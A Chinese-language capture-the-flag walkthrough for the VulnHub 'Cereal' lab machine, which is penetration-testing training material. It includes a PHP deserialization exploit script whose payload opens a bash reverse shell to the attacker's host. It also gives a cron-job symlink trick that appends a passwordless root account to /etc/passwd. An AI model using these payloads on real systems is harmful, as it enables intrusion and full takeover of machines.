靶机介绍

1)靶机地址:https://download.vulnhub.com/cereal/Cereal.ova

2)靶机难度:高(最接近真实场景)

3)打靶目标: 取得 root 权限 + 2 Flag

4)涉及攻击方法:主机发现、端口扫描、信息收集、路径枚举、密码爆破、域名解析、匿名FTP、子域名爆破、源码审计、反序列化漏洞、编写漏洞利用代码、进程监视、本地提权

5)靶机简介:如果说上周的靶机非常接近真实环境的渗透,那么本周的靶机应该就是真实渗透本身了。通常靶机只会开放一两个端口,所以很容易确定攻击的入口点。但是本周的打靶开放了多个端口,因此需要逐个排查,过滤掉其中的干扰项,找到那个真正存在漏洞的服务。这个排查的过程往往是初学者最大的难点,作为渗透测试者,需要在众多不确定因素的干扰下,利用工程思维找到自己的出路。通常打靶的过程是不涉及子域名爆破的,但是对于本周这台靶机却是必须的,否则连突破边界的入口都找不到。即便找到了漏洞入口,仍然需要获取程序的源码,对其进行源码审计,发现其中的反序列化编码漏洞,并针对漏洞编写自己的漏洞利用代码。提权的过程同样需要不走寻常路,将利用一种前所未用方法,找到那个非常隐蔽的提权线索。针对本周的靶机,枚举、信息收集、源码审计都是突破边界不可或缺的能力要求。

6)注释:需要将本次靶机下载后,导入到vmwar workstation运行虚拟机

打靶过程

1)主机发现

# arp-scan --interface eth1 172.24.10.0/24

2)端口扫描

①对目标靶机进行全端口扫描,发现开放了很多个端口

# nmap -p- 172.24.10.129

②对上述端口进行服务版本扫描

# nmap -p21,22,80,139,445,3306,11111,22222,33333,33334,44441,44444,55551,55555 -A 172.24.10.12

③扫描出21端口开放了vstpd服务,且版本为3.0.3,通过searchsploit检查该服务版本不存在可利用的漏洞

# searchsploit vsftpd 3.0.3

④通过“ftp-anon: Anonymous FTP login allowed“说明,ftp服务器存在匿名登录,通过anonymous账号登录后,为发现任何可疑文件,且不允许往ftp服务器上传文件

# ftp 172.24.10.129
Name (172.24.10.129:root): anonymous        #输入登录用户名为anonymous
Password:                                   #登录密码为空
ftp> ls
ftp> ls pub
# echo 11111111 >1.txt                      #另起一个终端编写一个文件
ftp> put 1.txt                              #上传文件

⑤通过nc连接目标靶机的21端口,可以连接成功,但是不允许执行任何的命令

# nc 172.24.10.129 21
USER anonymous #输入用户名
PASS           #输入密码
help           #查看可支持的命令
PORT

⑥80端口显示目标靶机支持TRACE的请求方法,且使用的操作系统发行版为Rocky Linux,中间件为Apache 2.4.37

⑦139和445端口默认为SMB协议的应用,但是此处扫描为扫描出应用层信息,有可能端口进行了更改,并且对目标服务器的SMB服务进行探测(Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。可以轻松的从与SMB服务有关的目标中快速提取信息),此处未提取到任何有用信息

# enum4linux 172.24.10.129

⑧通过nc连接11111端口,但无任何反馈信息,表示目标主机的此端口是处于开放状态的,而且通过nc也已经连接到了此端口,说明此端口是一个虚假的端口或者上面的应用是一个未知的应用,同时其他类似端口,如22222,33333返回结果都一致

因为:本靶机突破点只能从80端口和44441端口进行

3)web信息搜集

①通过访问目标靶机:80端口,发现是一个apache的默认页面,在该页面为发现任何有用的信息

http://172.24.10.129/

②右键查看网页源代码也未能发现有用信息

③对目标靶机的web站点进行路径爬取,爬取发现了/admin的站点

#dirb http://172.24.10.129

④对/admin站点进行访问,发现是一个登录页面,尝试通过万能密码、简单弱口令以及暴力破解的方式,均无法成功登陆只目标靶机web站点后台

http://172.24.10.129/admin

⑤对/blog/站点进行访问,根据提示在域名http://cereal.ctf中保存着备份文件和正在运行的一些文件,如果存在网站源码,那么就可以进行简单代码审计发现网站的漏洞

http://172.24.10.129/blog/

⑥上述扫描发现存在/cgi-bin/目录,通过403bypass的方法尝试访问/cgi-bin/目录,也未能有收获,针对403的目录,可以通过文件名直接访问该目录下的文件,403只是说明无法查看该目录下有什么文件,访问文件方式此处也失败

⑦访问phpinfo.php,可获取一些目标靶机站点的基本信息

⑧通过/blog/wp-admin/可知目标靶机存在wordpress的CMS,但是访问是却跳转到了域名http://cereal.ctf

http://172.24.10.129/blog/wp-admin/

⑨在kali的hosts文件中,对该域名进行解析

# vi /etc/hosts
172.24.10.129 cereal.ctf       #追加

重新访问后,发现可以打开wordpress后台,通过弱口令和暴力破解也无法直接登陆至后台

⑩其他扫描出的目录及文件信息中均没有有价值的内容,通过wpscan工具对wordpress应用进行漏洞扫描,也未发现有价值内容

# wpscan --url http://cereal.ctf/blog -e vt,vp --plugins-detection mixed

⑪因第五步提示得知,目标靶机保存着备份文件和正在运行的文件,对其进行目录扫描,但是未扫描出任何备份文件

#dirb http://cereal.ctf/blog/ -X .bak,back      

通过使用dirburst扫描工具,也未扫描出任何内容

⑫对目标靶机的44441端口进行访问,返回页面如下,无任何有价值信息。对其进行目录扫描,也未发现有价值信息

3)此时怀疑是否在cereal.ctf域名之下隐藏着其他的子域名,

①通过域名扫描工具,查看目标靶机是否有虚拟主机或者子域名的存在。扫描发现存在secure.cereal.ctf:44441域名

# gobuster vhost -u http://cereal.ctf:44441 -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt             #-w表示指定DNS子域名爆破的字典

②对子域名进行解析

# vim /etc/hosts
172.24.10.129 secure.cereal.ctf

③重新对新发现的域名进行访问,返回如下页面,通过功能测试,发现在表单输入ip地址后,可进行ping测试,猜测服务器有可能调用了操作系统的ping命令完成了ping测试

http://secure.cereal.ctf:44441/

④查看网页源代码,发现了javascript代码,代码表示从ipform表单中将值提取出来后,将其赋值给ipAddress变量,再对其进行一个序列化的操作,此处有可能存在反序列化的操作

可猜测在上述页面输入IP地址后,先对其进行序列化,传输的服务器后,再对其进行反序列化.

4)在ping测试中输入IP地址,提交表单时进行抓包

对请求体中的数据进行URL编码

PHP序列化之后的数据格式,其中pingTest为序列化对象在服务器端定义的类名称,在这个类中有一个变量的提交,变量名称为ipAddress,赋值为127.0.0.1,s表示序列化,9表示字符的长度

5)查找网站源代码

①除很简单的反序列化漏洞,使用黑盒进行反序列化漏洞挖掘时是很难发现的,除非拿到目标网站的源代码,所以此处通过测试是否存在.git泄露和.svn源码泄露.未发现git或者svn源码泄露

http://secure.cereal.ctf:44441/.git
http://secure.cereal.ctf:44441/.svn

②通过dirbuster工具对http://secure.cereal.ctf:44441/进行一个目录扫描,选择一个大字典

爬取结果发现目标站点存在一个back_en的目录

③对back_en目录下的文件进行扫描,文件后缀选择bak,或者back,并且更换一个通用的字典,

发现在back_en目录下存在一个index.php.bak的文件

④将index.php.bak文件进行下载,查看文件类型发现为php的文本文件

# wget http://secure.cereal.ctf:44441/back_en/index.php.bak 
#file index.php.bak

⑤查看index.php.bak文件

# cat index.php.bak 
<?php

class pingTest {
	public $ipAddress = "127.0.0.1";
	public $isValid = False;
	public $output = "";

	function validate() {
		if (!$this->isValid) {
			if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
			{
				$this->isValid = True;
			}
		}
		$this->ping();

	}

	public function ping()
        {
		if ($this->isValid) {
			$this->output = shell_exec("ping -c 3 $this->ipAddress");	
		}
        }

}

if (isset($_POST['obj'])) {
	$pingTest = unserialize(urldecode($_POST['obj']));
} else {
	$pingTest = new pingTest;
}

$pingTest->validate();

echo "<html>
<head>
<script src=\"http://secure.cereal.ctf:44441/php.js\"></script>
<script>
function submit_form() {
		var object = serialize({ipAddress: document.forms[\"ipform\"].ip.value});
		object = object.substr(object.indexOf(\"{\"),object.length);
		object = \"O:8:\\\"pingTest\\\":1:\" + object;
		document.forms[\"ipform\"].obj.value = object;
		document.getElementById('ipform').submit();
}
</script>
<link rel='stylesheet' href='http://secure.cereal.ctf:44441/style.css' media='all' />
<title>Ping Test</title>
</head>
<body>
<div class=\"form-body\">
<div class=\"row\">
    <div class=\"form-holder\">
	<div class=\"form-content\">
	    <div class=\"form-items\">
		<h3>Ping Test</h3>
		
		<form method=\"POST\" action=\"/\" id=\"ipform\" onsubmit=\"submit_form();\" class=\"requires-validation\" novalidate>

		    <div class=\"col-md-12\">
			<input name=\"obj\" type=\"hidden\" value=\"\">
		       <input class=\"form-control\" type=\"text\" name=\"ip\" placeholder=\"IP Address\" required>
		    </div>
		<br />
		    <div class=\"form-button mt-3\">
			<input type=\"submit\" value=\"Ping!\">
			<br /><br /><textarea>$pingTest->output</textarea>
		    </div>
		</form>
	    </div>
	</div>
    </div>
</div>
</div>
</body>
</html>";

?>

从代码可知,代码对提交的IP地址进行了校验,若校验成功返回true,才会执行系统命令

思路:可以在客户端直接声明一个序列化的数据,数据中声明isValid=true,直接绕过对IP地址的校验,进而执行ping命令,然后在IP地址后面跟上其他命令即可完成远程代码执行操作

6)编写序列化代码,并通过php生成

# cat index.php
<?php
class pingTest {
	public $ipAddress = "127.0.0.1";
	public $isValid = True;

}
$obj = new pingTest();
echo urlencode(serialize($obj));

?>
    
# php index.php
O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D

②将其复制到obj中,并对其进行反url解码

将上述请求进行转发后,发现服务器执行了ping操作

③在请求的IP地址中,新增加id命令,转发后,发现命令也成功执行。说明命令执行成功

7)反弹shell

①修改php序列化代码,使其自动生成php序列

# cat index.php
<?php
class pingTest {
	public $ipAddress = "127.0.0.1|bash -i >& /dev/tcp/172.24.10.136/4444 0>&1";
	public $isValid = True;

}
$obj = new pingTest();
echo urlencode(serialize($obj));

?>

┌──(root??kali)-[~]
└─# php index.php
O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A53%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F172.24.10.136%2F4444+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D

②通过burp,将上述序列化后的代码进行提交,并且在kali主机进行监听

# nc -lnvp 4444

③获取到目标主机shell,突破边界

8)提权信息搜集

①通过查看靶机内核版本,sudo权限,suid权限均未发现可以提权的信息

$ uname -a
$ sudo -l

②查看用户文件,发现存在一个rocky的普通用户,支持登录

③进入rocky家目录,对其进行信息搜集,发现rocky目录下存在的文件属主为rocky,属组为apache

cd /home/rocky
ls -l
cd public_html
ls -la

④通过查看靶机进程,发现靶机通过nc开启了一些虚假端口

$ ps -ef

9)通过pspy工具可以不需要提示至root权限,就可以监视系统进程的创建

下载地址:https://github.com/DominicBreuker/pspy

①kali主机传输pspy文件至目标靶机

#目标靶机:
$ nc -nvlp 6666 > pspy

#kali主机:
$nc 172.24.10.129 6666 < pspy64 -w 1

②运行工具,监测进程,

$chmod +x pspy
$./pspy

运行工具后,会将当前运行的进程显示出来,对于定时任务,会在定时任务执行后查看到

③根据一点时间对进程进行监测后发现,执行了一个chown.sh的脚本
脚本内容显示,只要是目录下的文件,都会将其属主设置为rocky,数组设置为apache

④对/etc/passwd用户文件设置一个软链接在当前目录,只要定时任务修改了软链接文件的权限,那么原文件也会进行修改

$ cd /home/rocky/public_html/
$ ln -s /etc/passwd passwd
echo "zdz::0:0:root:/root:/bin/bash" >>passwd

⑤查看/etc/passswd用户文件中是否追加上添加的用户,追加成功后,直接进行su切换,切换成功后,获取到root用户权限,获得flag

$ cat /etc/passwd
$ su - zdz
$id
$cd /root
$ls -l
$cat proof.txt